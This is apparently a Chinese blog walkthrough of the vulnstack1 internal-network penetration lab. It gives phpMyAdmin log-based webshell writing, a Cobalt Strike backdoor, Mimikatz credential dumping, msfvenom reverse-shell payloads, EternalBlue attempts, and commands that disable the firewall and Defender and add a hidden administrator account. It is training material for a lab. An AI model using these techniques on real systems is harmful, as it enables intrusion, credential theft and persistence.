• 红日靶场vulnstack1 内网渗透学习


    目录

    前言:

    信息收集:

    phpmyadmin getshell

    日志写shell

    yxcms getshell

    植入后们:

    内网域环境信息收集:

    基于msf 进行信息收集:

     基于msf 内网信息收集:

    内网收集思路总结:

    CS派生会话给公网MSF

     CS开启监听:

     3.cs 派生会话。

    ​编辑

     MSF 利用MSF小记 | 命令 (lmlphp.com):

     MSF进行 永恒之蓝攻击:

     MSF 内网端口扫描。

    利用ms17-010

    总结:


    前言:

    仅记录学习过程,期间也会借鉴其他师傅的文章

    靶场环境搭建的话,可以参考其他师傅。

    我的环境:

    1. kali (攻击机):192.168.92.129
    2. Windows 7 (web服务器):192.168.92.128(外网和kali连通)、192.168.52.143(内网)
    3. Windows 2008 (域控):192.168.52.138
    4. Win2k3 (域管):192.168.52.141

    信息收集:

    因为web 网页是起来了,如果我们不知道对方的环境,借此,我们可以对这个网站进行扫描。

    看到80端口起了HTTP服务, 3306端口起了 mysql

    访问一下此 IP 的80 端口。

     

    是一个phpinfo() 针探页面 ,以这个网址为根目录,再扫描一下其他路径。工具挺多,得看字典了。我使用的 dirsearch

    扫到了 phpinfo.php  还有一个phpmyadmin 后台,这里应该还有一个beifen.rar,字典不够强

     访问phpmyadmin 好像是要我们弱口令登录,如果是公共机的话,一般都会存在弱口令的,这里试下admin admin root root  admin  123456 等弱口令,试出来是root root  如果实在是不行,可以用bp爆破。

    拿到 pgpmyadmin 后 ,接下来就要用phpmyadmin 去getshell 。

    phpmyadmin getshell

    一、 into outfile 和into dumpfile 写马

    这两个可以写马,但是有区别的,一个可以写多行,另一个只能写一行,具体不清楚,并且他们使用的时候需要条件,就是配置文件中的 secure_file_prive 这个值是需要要求的。

    我们可以查看一下secure_file_prive 值:

    show variables like "%secure_file%";

    1. into写入文件:
    2. 使用需看要secure_file_priv的值。
    3. value为“null”时,不允许写入或者读取
    4. value为“空”时,允许读取任意文件
    5. value"/tmp"时,只允许在/tmp目录中写入和读取
    6. value可也已设置为其他路径。

    这里 show variables like "secure_file_prive%" 查询的结果为空,就行不通了。

     看到这里的值为NULL 所以是 不允许写入或者读取文件。

    ps  如果想要通过into 写入文件:

    1. 修改value的值:
    2. windows下修改配置文件:mysql.ini
    3. linux修改配置文件:my.cnf

    如果我们可以利用写写文件的命令时,我们需要知道当前目录的情况,这需要一个查询当前目录的指令:

    select @@basedir

     知道当前目录情况,直接写马就好了

    然后通过执行select ‘’ into outfile ‘C:/phpStudy/www/shell.php’;将木马写入到网站的根目录。 

    1. select 1,'' INTO OUTFILE '/var/www/html/test.php'#
    2. select 1,'' INTO dumpfile '/var/www/html/test.php'#
    3. #区别在于使用outfile时,文件中一行的末尾会自动换行

    写入失败。通过查询得知这里不能使用into outfile的方式写入shell。
    可以通过执行“show variables like ‘%secure_file%’;”查询下是否能直接写入shell。这里secure_file_priv的值为NULL,说明不能使用into outfile的方式写入shell。
     

    日志写shell

    应该是用的最多的一个姿势了,因为日志的文件名可控,而且 写入的位置也可控。

    查看日志状态:

    show variables like ‘%general%’;

     general_log  和general_log_file  的简述:

    • mysql打开general_log 开关后,所有对数据库的操作都将记录在general_log_file指定的文件目录中 以原始的状态来显示,如果将general_log开关打开,general_log_file 指定一个php 文件,则查询的操作 将会全部写入到 general_log_file 指定的文件,可以通过访问 general_log_file 指定的文件来获取 webshell。

    上面看到 general_log 的value是off  我们需要手动开启。

    1. set global general_log = "ON"; //开启记录查询操作
    2. set global general_log_file=‘C:/phpStudy/www/1.php’,指定日志写入到网站根目录的 1.php 文件.

     成功修改选项。 指定日志会写入到网站根目录的 1.php文件里。

    也就是说,我们执行查询语句,他会把操作的内容写入到1.php 里面,所以我们执行

    select ''

    访问 1.php 

    有报错,说明确实是写进去了。windows10 用蚁剑连一下。

     

    成功连接。看到有个beifen,其中是yxcms的源码。

    yxcms getshell

     服务器搭建了 yxcms 系统,我们url访问一下看看。

    右下角还有个提示,根据提示,成功登入后台。

     点击前台模板

     可以上传 文件,且后缀为php,只能说有点过于简单了,真实环境不可能让你这样玩的

     文件已上传,可通过前面下载的beifen.rar文件来查找acomment.php文件来确定文件上传的路径:

    路径为: /yxcms/protected/apps/default/view/default

     所以我们蚁剑连接一下

     这就成功拿到shell  了。似乎有点简单了。。

    植入后们:

    既然已经拿到webshell , 那么久要开始实现从web 跳到内网了,这里需要用到一个工具:

    Cobaltsrike 简称CS 

    公网VPS 上运行CS服务:,记得给权限

    2、本地 Win10 物理机运行 CS 客户端并连接 CS 服务端,然后生成 exe 可执行 Backdoor 程序:

    连的你的vps  。

     生成之后用蚁剑上传至目录

    在蚁剑终端运行  exe文件

     成功上线

    接下来进行简单的靶机信息收集:

     可以使用 MImikatz 直接抓取本机用户密码。

    看到这台 win7服务器机器 的密码,也就是我们自己设置的windows7密码

    进一步还可以利用 svc-exe 提权到 system 系统权限用户

    创建新的接口,输入命令。

     看到我们已经是这台机子的 系统权限账户了。

    内网域环境信息收集:

    内网信息收集的主要目的就是查找域控以及域内的其他主机,  以下是部分内网信息收集的命令:

    1. net view # 查看局域网内其他主机名
    2. net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
    3. net user # 查看本机用户列表
    4. net user /domain # 查看域用户
    5. net localgroup administrators # 查看本地管理员组(通常会有域用户)
    6. net view /domain # 查看有几个域
    7. net user 用户名 /domain # 获取指定域用户的信息
    8. net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
    9. net group 组名 /domain # 查看域中某工作组
    10. net group "domain admins" /domain # 查看域管理员的名字
    11. net group "domain computers" /domain # 查看域中的其他主机名
    12. net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)

    1,先判断是否存在域,使用 shell ipconfig /all 查看dns 服务器,发现主DNS 后缀不为空,存在域god.org 。 

     或者使用 net config Workstation 来查看当前计算机名,全名,用户名,系统版本,工作站,域,登录域。等信息

    2. 上面发现 DNS服务器为god.org ,当前登录域为GOD ,那接下来 可执行 net view /domain 查看一下有几个域 (域环境可能存在多个域) 

    3.既然只有一个域,那就利用  net group "domain controllers" /domain命令查看域控制器主机名,直接确认域控主机的名称为:OWA$

     4. 已经确认域控主机的名称为 OWA ,继续执行命令 net view 查看局域网 其他主机信息。(主机名称,IP),可得知域控主机 IP 为 192.168.52.138

     5.局域网扫描出来除了域控主机 之外,还有另一台主机, 名为:ROOT-TVI862UBEH 。

    最后再确认一下该主机是否也是存在域中,故执行命令

    shell net group "domain computers" /domain

    查看域中的其他主机名,发现包含ROOT-TVI862UBEH ,故域中还包含一个域成员主机 其IP地址为:192.168.52.141 如图下所示:

    至此内网域信息搜集完毕,已经明确了域控主机为192.168.52.138,同时还存在另一台域成员192.168.52.141,接下来的目标就是横向渗透拿下域控!

    基于msf 进行信息收集:

    1. msfvenom -p windows/meterpreter_reverse_tcp LHOST=172.20.10.8 LPORT=1234 -f exe -o run2.exe
    2. //这里的LOHOST和LPORT是你kali的ip 和端口,生成一个exe文件

    然后开启监听本地ip和端口模式:

    1. use exploit/mutli/handler
    2. set payload windows/x64/meterpreter_reverse_tcp
    3. set lhost 172.20.10.8
    4. set lport 1234
    5. exploit -j(后台)允许

    因为我们已经拿下了服务器,所以我们可以用蚁剑 上传我们的exe 文件到服务器

    然后运行此exe 文件

     然后 msf 这边就会收到session 会话

     之后我们sessions  1 就可以运行我们后续的payload。

    msf 也可以直接system提权。

     基于msf 内网信息收集:

    sysinfo 收集主机信息: 

    查看域内其他主机: 

    确认域控:

    net group “domain controllers” /domain

     

     获取当前机器所有网段信息

    内网收集思路总结:

    cs上线之后,可以先用 net config Workstation 查看当前用户域信息  。可以用 net view /domain 来查看一下有多少个域,因为一个环境可能存在多个域。 如已确认域控主机,可以再进一步收集局域网内其他主机信息 net view收集其他主机ip 。

    接下来将通过 win 7 作为跳板机,横向渗透拿下内网域内的域成员主机和域控。

    CS派生会话给公网MSF

    msf 框架继承了诸多渗透测试的利器,在内网渗透中经常要将CS和MSF搭配起来使用,下面演示如何将 cs 获取到的会话派生给MSF。

    我在vps 主机上同时搭建了msf 框架和 cs服务,所以我们的vps需要开两个窗口,一个是cs服务,一个是msf 服务

    ,其中msf 的搭建只需执行以下命令:

    1. apt-get install curl,wget
    2. curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
    3. #上面这条命令是 下载安装
    4. chmod 755 msfinstall
    5. 执行安装脚本:./msfinstall
    6. 启动MSF框架: msfconsole

    1. use exploit/multi/handler //使用模块
    2. set payload windows/meterpreter/reverse_http //设置payload
    3. set lhost 104.168.***.*** //设置本地地址
    4. set lport 6666 //设置本地端口
    5. exploit //执行

     msf这方面的介绍:MSF的使用教程_zkzq的博客-CSDN博客_msf

    如图所示: 

     

     CS开启监听:

    回到CS 中添加 监听器,payload 为 windows/foreign/reverse_http , IP 为MSF的IP,监听端口为MSF的监听端口。

     3.cs 派生会话。

     选择刚刚新建的

     

    返回vps 中的msf 窗口可以看到shell 会话。

     MSF 利用MSF小记 | 命令 (lmlphp.com)

    获得msf会话后即可使用 msf 集成诸多强大功能模块和脚本,,如调用post/windows/gather/checkvm 判断靶机是否属于虚拟机 (检查是否进了蜜罐):

     再如 调用post/windows/gather/enum_applications 模块枚举列出安装在靶机上的应用程序:

     MSF进行 永恒之蓝攻击:

    公网vps 上 MSF获得会话后,目标是借助 msf 集成的攻击模块展开 横向渗透 拿下内网其他机器:

    静态路由配置:

    MSF的autoroute 模块是msf框架中 自带的一个路由转发功能,实现过程是msf 框架在已经获取的 

    Meterpreter Shell 的基础上 添加一条去往  “内网” 的路由,直接使用msf 去访问原本不能直接访问的内网资源,只要路由可达,我们就可以使用msf来探测了。

    首先需要配置静态路由:

    1. #加载MSF的autoroute模块,获取当前机器的所有网段信息
    2. meterpreter > run post/multi/manage/autoroute
    3. #添加目标内网路由
    4. meterpreter > run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD

    看到有两个网段,一个是内网的 还有一个是外网的 ,所以我们要添加一条到内网网段的路由:

    run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD

     添加目标内网路由(添加失败,因为该路由已存在):

     MSF 内网端口扫描。

    现在路由可达内网网段,可以先对内网主机进行探测。

    1。先执行backgroud 命令将当前执行的meterpreter 会话切换到后台,(后续也可以执行 sessions -i 重新返回会话),然后使用msf 自带  auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口

    1. msf6 > use auxiliary/scanner/portscan/tcp
    2. msf6 > set rhosts 192.168.52.141
    3. msf6 > set ports 80,135-139,445,3306,3389
    4. msf6 > run

     

     扫到  域成员 开放了 445 , 135  , 139 端口,同样的,我们扫一下 域控主机开放的端口:

     同样的,域控(192.168.52.138)也开启了 445端口。


    插入一下,至于为什么是445 端口,因为这是永恒之蓝漏洞(MS17-010) 通过 TCP 的445和139端口,来利用SMBv1 和NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的Windows 主机, 只要用户主机开机联网,即可,通过该漏洞控制用户的主机。从而进一步

    利用ms17-010

    1. auxiliary/scanner/smb/smb_ms17_010 //扫描模块
    2. exploit/windows/smb/ms17_010_eternalblue // 攻击模块

    一般是先扫描,若显示有漏洞 再攻击。

    1. msf6 > search ms17_010 #搜索MSF集成的与ms17_010漏洞相关的模块
    2. msf6 >use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp
    3. msf6 >set rhosts 192.168.52.141 #设置被扫描的主机IP
    4. msf6 >run #进行扫描,观察是否存在该漏洞

     

     

     可以看到两台主机都可以使用永恒之蓝漏洞。

    接下来尝试利用永恒之蓝漏洞拿下域控主机  192.168.52.138使用MSF集成的漏洞 ms17-010 exp

    1. msf6 > use exploit/windows/smb/ms17_010_eternalblue
    2. msf6 > set payload windows/x64/meterpreter/bind_tcp
    3. msf6 > set rhosts 192.168.52.138
    4. msf6 > run

     

    最终是失败了,应该是没关win7防火墙

    1. msf6-> sessions -l #查看所有会话
    2. msf6-> sessions 4 #进入会话4中 //你查看所有会话,就是切换到哪个id
    3. netsh advfirewall set allprofiles state off #关闭防火墙
    4. net stop windefend #关闭Windows defender

    windows7 提示关闭了

     接着重新对域控主机进行永恒之蓝攻击: 再来!

     

    还是没能成功。。试一下用 psexec吧,不然也没办法。

    。。。。。

    还是失败了。 搜了下好像要 设置targets?

    show targets 

    我们要控制的靶机 id 为3 

    set target 3

     再执行一下exp,无奈还是不能成功

    由于已经在 MSF 中获得 Win7 的 Shell,故只需要返回会话并执行命令run post/windows/manage/enable_rdp即可开启靶机的远程桌面:

    成功连接上

    1. #win7开启3389
    2. REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    3. # 添加账户密码
    4. net user Tr0e Pass!@123 /add
    5. # 给Tr0e账户添加为管理员权限
    6. net localgroup administrators Tr0e /add
    7. #查询是否成功添加 Tr0e 用户
    8. net user Tr0e
    9. #添加防火墙规则
    10. netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389

    上述命令可以再冰蝎  菜刀的命令终端执行。 

    至此 红日靶场一 已经结束。 

    总结:

    内网水很深,还需要多多琢磨,其次,这是我第一次打内网靶机,自己的能力还是很不足,永恒之蓝没能打进去是非常遗憾,后面还会继续加油,打红日二。 网安任重道远。

  • 相关阅读:
    云原生 | Docker - [redis集群搭建]
    mac安装chromedriver驱动详细步骤
    C++征途 --- STL中的常用算法(下)
    线上宕机问题(索引问题)
    深度之眼(二十)——Python:Pandas库
    Day697.Spring框架中的设计模式 -深入拆解 Tomcat & Jetty
    重庆自考本科难考吗?怎样降低难度?
    Window环境NFS服务务器搭建及连接
    vite搭建vue3项目
    1.1.1 算法的概念(第 1 课时)
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/126886731